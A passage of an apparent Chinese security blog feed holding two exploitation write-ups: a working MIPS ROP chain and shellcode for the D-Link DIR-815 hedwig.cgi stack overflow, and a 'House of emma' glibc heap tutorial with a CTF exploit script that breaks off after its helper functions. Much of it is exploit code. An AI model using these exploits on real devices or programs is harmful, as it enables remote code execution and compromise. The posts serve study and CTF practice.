class="line">payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=&gt; lw... =&gt; jalr $t9)</span><br><span class="line">payload += b&#x27;a&#x27;*4</span><br><span class="line">payload += p32(libc_base + 0x56BD0) # s3  sleep</span><br><span class="line">payload += b&#x27;a&#x27;*(4*5)</span><br><span class="line">payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=&gt; jalr $s1)</span><br><span class="line"> </span><br><span class="line">payload += b&#x27;a&#x27;*0x18</span><br><span class="line">payload += b&#x27;a&#x27;*(4*4)</span><br><span class="line">payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=&gt; jalr $t9)</span><br><span class="line">payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=&gt; jalr $s4)</span><br><span class="line"> </span><br><span class="line">shellcode = asm(&#x27;&#x27;&#x27;</span><br><span class="line">    slti $a2, $zero, -1</span><br><span class="line">    li $t7, 0x69622f2f</span><br><span class="line">    sw $t7, -12($sp)</span><br><span class="line">    li $t6, 0x68732f6e</span><br><span class="line">    sw $t6, -8($sp)</span><br><span class="line">    sw $zero, -4($sp)</span><br><span class="line">    la $a0, -12($sp)</span><br><span class="line">    slti $a1, $zero, -1</span><br><span class="line">    li $v0, 4011</span><br><span class="line">    syscall 0x40404</span><br><span class="line">&#x27;&#x27;&#x27;)</span><br><span class="line">payload += b&#x27;a&#x27;*0x18</span><br><span class="line">payload += shellcode</span><br><span class="line"> </span><br><span class="line">payload = b&quot;uid=&quot; + payload</span><br><span class="line">post_content = &quot;XiDP=Pwner&quot;</span><br><span class="line">p = process(b&quot;&quot;&quot;</span><br><span class="line">    qemu-mipsel -L ../ \</span><br><span class="line">    -0 &quot;hedwig.cgi&quot; \</span><br><span class="line">    -E REQUEST_METHOD=&quot;POST&quot; \</span><br><span class="line">    -E CONTENT_LENGTH=11 \</span><br><span class="line">    -E CONTENT_TYPE=&quot;application/x-www-form-urlencoded&quot; \</span><br><span class="line">    -E HTTP_COOKIE=\&quot;&quot;&quot;&quot; + payload + b&quot;&quot;&quot;\&quot; \</span><br><span class="line">    ./cgibin</span><br><span class="line">&quot;&quot;&quot;, shell = True)</span><br><span class="line">p.send(post_content)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021022357.png"                      alt="image-20250930195147922"                ></p><p>参考链接：</p><p>[<a class="link"   href="https://bbs.kanxue.com/thread-272318.htm" >原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://xz.aliyun.com/news/18079" >DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/11.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/11.html"/>
    <published>2025-10-02T02:16:57.000Z</published>
    <summary>
      <![CDATA[<h1 id="DIR-815-栈溢出漏洞-CNVD-2013-11625-复现"><a href="#DIR-815-栈溢出漏洞-CNVD-2013-11625-复现" class="headerlink" title="DIR-815]]>
    </summary>
    <title>DIR-815 栈溢出漏洞(CNVD-2013-11625)复现</title>
    <updated>2025-10-02T02:22:20.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="House of 系列手法" scheme="https://spacedrag0n-1.github.io/tags/House-of-%E7%B3%BB%E5%88%97%E6%89%8B%E6%B3%95/"/>
    <content>
      <![CDATA[<h1 id="House-of-emma"><a href="#House-of-emma" class="headerlink" title="House of emma"></a>House of emma</h1><p>在 <code>GLibc2.34</code> 版本中，我们以往堆利用最常用的两个 <code>Hook</code> ：<code>malloc_hook</code> 、<code>free_hook</code> 直接被取消，导致以往的大部分堆利用手法直接失效，这时候我们急需发现一个类似于 <code>__free_hook</code> 这样的函数指针调用，从而来削弱 <code>getshell</code> 的限制条件。</p><p><code>House of emma</code> 因此诞生</p><h2 id="利用范围："><a href="#利用范围：" class="headerlink" title="利用范围："></a>利用范围：</h2><ul><li><code>2.23</code>—— 至今</li></ul><h2 id="利用条件："><a href="#利用条件：" class="headerlink" title="利用条件："></a>利用条件：</h2><ul><li>需要两次任意地址写已知地址</li><li>需要泄露libc地址以及堆块地址</li><li>能够触发IO流（House of kiwi 、FSOP）</li></ul><p>由于在 <code>glibc-2.24</code> 的时候添加了对 <code>vtable</code> 的合法性检查，所以我们不能像以往一样直接对 <code>vtable</code> 进行一个劫持，但是这个检查对具体位置相对宽松，我们还是可以在一定范围之内对 <code>vtable</code> 起始位置进行一个偏移 ，我们就可以通过偏移来调用在 <code>vtable</code> 表中的任意函数，因此我们可以考虑将其指定为以下几个函数。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">static ssize_t</span><br><span class="line">_IO_cookie_read (FILE *fp, void *buf, ssize_t size)</span><br><span class="line">&#123;</span><br><span class="line">  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;</span><br><span class="line">  cookie_read_function_t *read_cb = cfile-&gt;__io_functions.read;</span><br><span class="line">#ifdef PTR_DEMANGLE</span><br><span class="line">  PTR_DEMANGLE (read_cb);</span><br><span class="line">#endif</span><br><span class="line"> </span><br><span class="line">  if (read_cb == NULL)</span><br><span class="line">    return -1;</span><br><span class="line"> </span><br><span class="line">  return read_cb (cfile-&gt;__cookie, buf, size);</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">static ssize_t</span><br><span class="line">_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)</span><br><span class="line">&#123;</span><br><span class="line">  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;</span><br><span class="line">  cookie_write_function_t *write_cb = cfile-&gt;__io_functions.write;</span><br><span class="line">#ifdef PTR_DEMANGLE</span><br><span class="line">  PTR_DEMANGLE (write_cb);</span><br><span class="line">#endif</span><br><span class="line"> </span><br><span class="line">  if (write_cb == NULL)</span><br><span class="line">    &#123;</span><br><span class="line">      fp-&gt;_flags |= _IO_ERR_SEEN;</span><br><span class="line">      return 0;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">  ssize_t n = write_cb (cfile-&gt;__cookie, buf, size);</span><br><span class="line">  if (n &lt; size)</span><br><span class="line">    fp-&gt;_flags |= _IO_ERR_SEEN;</span><br><span class="line"> </span><br><span class="line">  return n;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">static off64_t</span><br><span class="line">_IO_cookie_seek (FILE *fp, off64_t offset, int dir)</span><br><span class="line">&#123;</span><br><span class="line">  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;</span><br><span class="line">  cookie_seek_function_t *seek_cb = cfile-&gt;__io_functions.seek;</span><br><span class="line">#ifdef PTR_DEMANGLE</span><br><span class="line">  PTR_DEMANGLE (seek_cb);</span><br><span class="line">#endif</span><br><span class="line"> </span><br><span class="line">  return ((seek_cb == NULL</span><br><span class="line">       || (seek_cb (cfile-&gt;__cookie, &amp;offset, dir)</span><br><span class="line">           == -1)</span><br><span class="line">       || offset == (off64_t) -1)</span><br><span class="line">      ? _IO_pos_BAD : offset);</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">static int</span><br><span class="line">_IO_cookie_close (FILE *fp)</span><br><span class="line">&#123;</span><br><span class="line">  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;</span><br><span class="line">  cookie_close_function_t *close_cb = cfile-&gt;__io_functions.close;</span><br><span class="line">#ifdef PTR_DEMANGLE</span><br><span class="line">  PTR_DEMANGLE (close_cb);</span><br><span class="line">#endif</span><br><span class="line"> </span><br><span class="line">  if (close_cb == NULL)</span><br><span class="line">    return 0;</span><br><span class="line"> </span><br><span class="line">  return close_cb (cfile-&gt;__cookie);</span><br></pre></td></tr></table></figure></div><p>这几个函数存在任意函数指针的调用，且函数指针来源于 <code>_IO_cookie_file</code> 结构体，这个结构体是 <code>_IO_FILE_plus</code> 的扩展，如果我们可以控制 <code>IO</code> 的内容，大概率这部分数据也是可控的 ，并且其第一个参数也是来源于这个结构，所以我们可以把它当作类似于 <code>__free_hook</code> 的 <code>Hook</code> 来利用 。</p><h3 id="绕过-PTR-DEMANGLE"><a href="#绕过-PTR-DEMANGLE" class="headerlink" title="绕过 PTR_DEMANGLE"></a>绕过 PTR_DEMANGLE</h3><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115633036.png"                      alt="image-20250813103454655" style="zoom: 50%;"                 ><p>由于<code>_IO_cookie_write</code> 等函数的调用涉及到指针加密 ：<strong>ROR 移位 0x11 后再与指针进行异或</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">extern uintptr_t __pointer_chk_guard attribute_relro;</span><br><span class="line">#  define PTR_MANGLE(var) \</span><br><span class="line">  (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)</span><br><span class="line">#  define PTR_DEMANGLE(var) PTR_MANGLE (var)</span><br></pre></td></tr></table></figure></div><p>其指针加密的 <code>key</code> 值存在于 <code>TLS + 0x30</code> 处 ，要想调用目标函数，我们就必须要对放置的目标函数进行一个解加密，但是由于 <code>key</code> 值是完全随机的，所以常规来讲我们是不可能直接破解这个加密方式的，但是由于 <code>key</code> 值处可写 ，我们可以利用其他手法，如 <code>largebin attack</code> 、<code>tcache stash unlinking</code> 等 ，向 <code>TLS + 0x30</code> 的位置写入一个已知地址 ，把原本随机的 <code>key</code> 值覆盖成我们已知的地址，这样一来，我们就可以对这个安全保护进行一个绕过了 （实际攻击的时候，远程的 <code>TLS</code> 位置可能会有一些偏移，需要爆破）</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># 加密函数 循环左移</span><br><span class="line">def rotate_left_64(x, n):</span><br><span class="line">    # 确保移动的位数在0-63之间</span><br><span class="line">    n = n % 64</span><br><span class="line">    # 先左移n位</span><br><span class="line">    left_shift = (x &lt;&lt; n) &amp; 0xffffffffffffffff</span><br><span class="line">    # 然后右移64-n位，将左移时超出的位移动回来</span><br><span class="line">    right_shift = (x &gt;&gt; (64 - n)) &amp; 0xffffffffffffffff</span><br><span class="line">    # 合并两部分</span><br><span class="line">    return left_shift | right_shift</span><br></pre></td></tr></table></figure></div><p>这里我贴一个解密脚本，是在覆盖 <code>key</code> 为已知地址的情况下实现的 。</p><h3 id="整体的利用思路分为三大步"><a href="#整体的利用思路分为三大步" class="headerlink" title="整体的利用思路分为三大步"></a>整体的利用思路分为三大步</h3><ul><li>劫持 <code>stderr</code> 到堆块上，同时伪造好 <code>IO</code> 结构 ，改写 <code>stderr</code> 的 <code>vtable</code> 为 <code>_IO_cookie_jumps + 0x40</code> ，使其调用  <code>_IO_cookie_wirte</code>  。</li><li>覆盖 <code>TLS + 0x30</code> 处的 <code>key</code> 值为已知地址 。</li><li>布置好 <code>IO</code> 结构后 ，触发 <code>__malloc_assert</code> （参考 <code>House of kiwi</code>）。</li></ul><h3 id="攻击过程中可能会遇到的问题："><a href="#攻击过程中可能会遇到的问题：" class="headerlink" title="攻击过程中可能会遇到的问题："></a>攻击过程中可能会遇到的问题：</h3><ul><li>可能会出现 <code>stderr</code> 指针在 <code>bss</code> 段，而不是 <code>libc</code> 的情况，这种情况就不能使用上面的常规打法 ，如果我们无法直接纂改，就只能考虑打 <code>FSOP</code> 的方式 ，但是 <code>exit</code> 调用也涉及到指针保护，此时的 <code>key</code> 值已经被我们修改 ，使其无法执行正确的函数地址 。</li></ul><p>以上情况的解决方法是，构造两个 <code>IO_FILE</code> 结构 ，后者位于前者的 <code>_chain</code> 处，这里我们可以考虑 <code>House of apple1</code> + <code>House of emma</code> 的打法 ，使用 <code>House of apple1</code> 来修改 <code>TLS + 0x30</code> 的 <code>key</code> 值为已知地址，然后使用 <code>House of emma</code> 执行调用函数 。</p><p>当然如果有这种条件那我们应该可以直接打 <code>House of apple2</code> 了 。</p><ul><li><code>glibc-2.36</code> 之后 <code>__malloc_assert</code> 被修改成：</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">_Noreturn static void</span><br><span class="line">__malloc_assert (const char *assertion, const char *file, unsigned int line,</span><br><span class="line"> const char *function)</span><br><span class="line">&#123;</span><br><span class="line">  __libc_message (do_abort, &quot;\</span><br><span class="line">Fatal glibc error: malloc assertion failure in %s: %s\n&quot;,</span><br><span class="line">  function, assertion);</span><br><span class="line">  __builtin_unreachable ();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>移除了 <code>fxprint</code> 函数</p><h3 id="调用过程及可控寄存器："><a href="#调用过程及可控寄存器：" class="headerlink" title="调用过程及可控寄存器："></a>调用过程及可控寄存器：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__malloc_assert =&gt; __fxprintf =&gt; __vfxprintf =&gt; locked_vfxprintf =&gt; __vfprintf_internal =&gt; _IO_cookie_write</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115628911.png"                      alt="image-20250813105451118"                ></p><p><code>rax</code> 是我们可以直接控制的，最后 <code>_IO_cookie_write</code> 也是 <code>call rax</code> , 实现任意函数调用 ，其中 <code>rdi</code> 是我们可以控制的 ，<code>rbp</code> 指向的是我们伪造的 <code>IO_FILE</code> 结构体 ，如果程序没有开启沙箱限制，我们就可以直接执行 <code>system(&quot;/bin/sh&quot;);</code> 来拿到 <code>shell</code> ，但是如果程序开启了沙箱限制，这里就需要考虑两种情况，一种是 <code>glibc-2.29</code> 之前 ，<code>setcontext + xx</code> 是通过 <code>rdi</code> 来控制寄存器的，我们就可以直接 <code>call setcontext + xx</code> 然后布局好 <code>rop</code> ，打 <code>orw</code> 即可 ，但是如果是 <code>glibc-2.29</code> 之后， 那么我们就只能通过一些 <code>magic_gadget</code> 来实现一些寄存器的转化，最好找一个能够通过 <code>rdi</code> 来给<code>rdx</code> 赋值的寄存器，因为 <code>rdi</code> 是可控的 ，然后还需要一个 <code>call</code> 的调用，使得攻击得以持续 。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115631459.png"                      alt="image-20250813110343788"                ></p><p>这里恰好有这么一条寄存器可以做到上述攻击方式 。</p><h2 id="例题演示：-湖湘杯-2021-house-of-emma"><a href="#例题演示：-湖湘杯-2021-house-of-emma" class="headerlink" title="例题演示：[湖湘杯 2021]house_of_emma"></a>例题演示：[湖湘杯 2021]house_of_emma</h2><p><strong>常规检查：</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115641727.png"                      alt="image-20250813110612728"                ></p><p>64位 保护全开</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115639799.png"                      alt="image-20250813111332705"                ></p><p>禁用了 <code>execve</code> 调用 。</p><p>IDA：</p><p>main（）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115637866.png"                      alt="image-20250813110553204"                ></p><p>看到 <code>vm</code> 调用就可以猜出来大概是一个 <code>vmpwn</code> 题 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250813115647694.png"                      alt="image-20250813110758383"                ></p><p>程序的逻辑不难理解，还非常好处理，这里我就不一一展示每一个函数的内容了，我只大致说一下：</p><ul><li><code>calloc_add</code> 函数可以利用 <code>calloc</code> 创造  <code>0x40F &lt; size &lt; 0x500</code> 大小的堆块 。</li><li><code>delete</code> 函数 <code>free</code> 后没有清空堆块指针，存在明显的 <code>uaf</code> 漏洞 。</li><li><code>show</code> 和 <code>edit</code> 查看与修改堆块内容，没有什么问题 。</li></ul><p>这里直接延用我上面讲过的打法就行，劫持 <code>stderr</code> 到堆块上，布置好 <code>IO</code> 结构，使其调用 <code>_IO_cookie_write</code> ，<code>call rax</code> 处我们不能直接调用 <code>system(&#39;/bin/sh&#39;)</code> 因为程序禁用了 <code>execve</code> ，这个时候我们考虑打  <code>orw</code>  ，由于libc版本在 <code>glibc-2.35</code>, 所以我们需要使用以下 <code>gadget</code> ，来控制 <code>rdx</code> 寄存器，同时记得绕过指针保护 ：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x00000000001675b0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; </span><br></pre></td></tr></table></figure></div><p>最后 <code>call setcontext + 61</code> 布局寄存器，执行 <code>rop</code> 即可获取到 <code>flag</code> 。</p><h3 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br></pre></td><td class="code"><pre><span class="line">from pwn import*</span><br><span class="line">from struct import*</span><br><span class="line">from LibcSearcher import*</span><br><span class="line">from ctypes import CDLL</span><br><span class="line">from functools import reduce</span><br><span class="line">from z3 import *</span><br><span class="line">import gmpy2</span><br><span class="line">import binascii</span><br><span class="line"></span><br><span class="line">local = 1</span><br><span class="line">if local:</span><br><span class="line">    p = process(&#x27;./pwn&#x27;)</span><br><span class="line">else:</span><br><span class="line">    p = remote(&#x27;&#x27;,)</span><br><span class="line"></span><br><span class="line">elf = ELF(&#x27;./pwn&#x27;)</span><br><span class="line">libc = ELF(&#x27;./libc.so.6&#x27;)</span><br><span class="line">#libc = CDLL(&quot;libc.so.6&quot;)</span><br><span class="line">context(arch=&#x27;amd64&#x27;,log_level=&#x27;debug&#x27;,os=&#x27;linux&#x27;)</span><br><span class="line">#context(arch=&#x27;i386&#x27;,log_level=&#x27;debug&#x27;,os=&#x27;linux&#x27;)</span><br><span class="line">#shellcode = asm(shellcraft.sh())</span><br><span class="line"></span><br><span class="line">def ELF(func_name):</span><br><span class="line">    globals()[f&quot;&#123;func_name&#125;_got&quot;] = elf.got[func_name]</span><br><span class="line">    globals()[f&quot;&#123;func_name&#125;_plt&quot;] = elf.plt[func_name]</span><br><span class="line"></span><br><span class="line">def GDB(script=&quot;&quot;):</span><br><span class="line">    gdb.attach(p, gdbscript=script)</span><br><span class="line"></span><br><span class="line">def fmt64():</span><br><span class="line">    p.recvuntil(&quot;0x&quot;)</span><br><span class="line">    return int(p.recv(12),16)</span><br><span class="line"></span><br><span class="line">def fmt32():</span><br><span class="line">    p.recvuntil(&quot;0x&quot;)</span><br><span class="line">    return int(p.recv(8),16)</span><br><span class="line"></span><br><span class="line">def ph(var):</span><br><span class="line">    var_name = [name for name, value in globals().items() if value is var][0]</span><br><span class="line">    log.info(f&quot;&#123;var_name&#125;  &gt;&gt; &#123;hex(var)&#125;&quot;)</span><br><span class="line"></span><br><span class="line">def phlen(var):</span><br><span class="line">    var_name = [name for name, value in globals().items() if value is var][0]</span><br><span class="line">    log.info(f&quot;&#123;var_name&#125;(DEC)  &gt;&gt; &#123;len(var)&#125;&quot;)</span><br><span class="line">    log.info(f&quot;&#123;var_name&#125;(HEX)  &gt;&gt; &#123;hex(len(var))&#125;&quot;)</span><br><span class="line"></span><br><span class="line">def ELFlibc(real_addr, func_name):</span><br><span class="line">    global libc_base, system, binsh </span><br><span class="line">    libc_base = real_addr - libc.symbols[func_name]</span><br><span class="line">    system = libc_base + libc.symbols[&#x27;system&#x27;]</span><br><span class="line">    binsh = libc_base + next(libc.search(b&#x27;/bin/sh&#x27;))</span><br><span class="line">    success(f&quot;libc_base  &gt;&gt; &#123;hex(libc_base)&#125;&quot;)</span><br><span class="line"></span><br><span class="line">def Libcer(real_addr, func_name):</span><br><span class="line">    global libc_base, system, binsh </span><br><span class="line">    libc = LibcSearcher(func_name,real_addr)</span><br><span class="line">    libc_base = real_addr - libc.dump(func_name)</span><br><span class="line">    system = libc_base + libc.dump(&#x27;system&#x27;)</span><br><span class="line">    binsh = libc_base + libc.dump(&#x27;str_bin_sh&#x27;)</span><br><span class="line">    success(f&quot;libc_base  &gt;&gt; &#123;hex(libc_base)&#125;&quot;)</span><br><span class="line"></span><br><span class="line">opcode = b&#x27;&#x27;</span><br><span class="line"></span><br><span class="line">def add(index,size):</span><br><span class="line">    global opcode</span><br><span class="line">    payload = p8(1) + p8(index) + p16(size) </span><br><span class="line">    opcode += payload </span><br><span class="line"></span><br><span class="line">def free(index):</span><br><span class="line">    global opcode</span><br><span class="line">    payload = p8(2) + p8(index) </span><br><span class="line">    opcode += payload</span><br><span class="line">    </span><br><span class="line">def show(index):</span><br><span class="line">    global opcode</span><br><span class="line">    payload = p8(3) + p8(index) </span><br><span class="line">    opcode += payload</span><br><span class="line"></span><br><span class="line">def edit(index,msg):</span><br><span class="line">    global opcode</span><br><span class="line">    payload = b&#x27;\x04&#x27; + p8(index) + p16(len(msg)) + msg </span><br><span class="line">    opcode += payload</span><br><span class="line"></span><br><span class="line">def run():</span><br><span class="line">    global opcode</span><br><span class="line">    opcode += p8(5)</span><br><span class="line">    sa(&quot;Pls input the opcode\n&quot;,opcode)</span><br><span class="line">    opcode = b&#x27;&#x27;</span><br><span class="line">    </span><br><span class="line">def rotate_left_64(x, n):</span><br><span class="line">    # 确保移动的位数在0-63之间</span><br><span class="line">    n = n % 64</span><br><span class="line">    # 先左移n位</span><br><span class="line">    left_shift = (x &lt;&lt; n) &amp; 0xffffffffffffffff</span><br><span class="line">    # 然后右移64-n位，将左移时超出的位移动回来</span><br><span class="line">    right_shift = (x &gt;&gt; (64 - n)) &amp; 0xffffffffffffffff</span><br><span class="line">    # 合并两部分</span><br><span class="line">    return left_shift | right_shift</span><br><span class="line"></span><br><span class="line">LIBC = lambda func   :libc_base + libc.sym[func]</span><br><span class="line">sd = lambda data : p.send(data)</span><br><span class="line">sa  = lambda text,data  :p.sendafter(text, data)</span><br><span class="line">sl  = lambda data   :p.sendline(data)</span><br><span class="line">sla = lambda text,data  :p.sendlineafter(text, data)</span><br><span class="line">rc   = lambda num=4096   :p.recv(num)</span><br><span class="line">ru   = lambda a,b=False : p.recvuntil(a,drop=b)</span><br><span class="line">rl  = lambda :p.recvline()</span><br><span class="line">pr = lambda num=4096 :print(p.recv(num))</span><br><span class="line">l32 = lambda    :u32(p.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))</span><br><span class="line">l64 = lambda    :u64(p.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))</span><br><span class="line">uu32    = lambda    :u32(p.recv(4).ljust(4,b&#x27;\x00&#x27;))</span><br><span class="line">uu64    = lambda    :u64(p.recv(6).ljust(8,b&#x27;\x00&#x27;))</span><br><span class="line">int16   = lambda data   :int(data,16)</span><br><span class="line"></span><br><span class="line">#------------------------------------------------------------------------------------#</span><br><span class="line"></span><br><span class="line">#------------------------------------------------------------------------------------#</span><br><span 